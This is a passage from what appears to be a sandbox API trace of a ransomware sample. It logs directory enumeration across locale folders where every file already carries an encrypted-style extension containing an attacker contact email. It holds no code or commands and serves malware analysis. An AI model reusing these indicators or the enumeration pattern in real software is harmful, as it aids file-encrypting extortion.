ftCreationTime.dwLowDateTime=0xc41349b2, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41a25fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.053] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4213c94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.053] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5b9eb0e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5b9eb0e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b9eb0e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.053] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5b9eb0e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5b9eb0e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b9eb0e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.053] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0175.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.054] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc46b24de, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0175.054] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.054] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc46b24de, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0175.055] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc46b24de, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.055] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4666a7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4666a7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4666a7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.055] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc468c361, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc468c361, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.055] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5bc4c7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.055] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5bc4c7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.055] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0175.056] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.056] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0175.056] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.056] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0175.057] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.057] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4809acc, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc482fc22, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.057] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc482fc22, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc482fc22, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.057] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.057] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.057] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0175.058] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.058] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0175.058] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.058] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0175.059] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.059] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4855f46, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5a6d7d5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.059] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5a6d7d5, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5a6d7d5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5a938e2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.059] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e00f52, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.059] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e00f52, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.059] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0175.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.060] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0175.060] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.060] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0175.061] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.061] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56a4066, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56a4066, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56ca1e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.061] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56ca1e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56ca1e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.061] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e27031, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.061] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e27031, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.061] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0175.177] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.177] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc580b023, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0175.177] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.177] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc580b023, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420960 [0175.178] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc580b023, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.178] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56f049d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57a007b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.179] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57e4d6d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57e4d6d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57e4d6d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.179] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc63f6df7, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc63f6df7, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc63f6df7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.179] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc63f6df7, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc63f6df7, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc63f6df7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.179] FindClose (in: hFindFile=0x4420960 | out: hFindFile=0x4420960) returned 1 [0175.180] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.180] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b2c29f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0175.180] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.180] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b2c29f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420fa0 [0175.181] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b2c29f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, 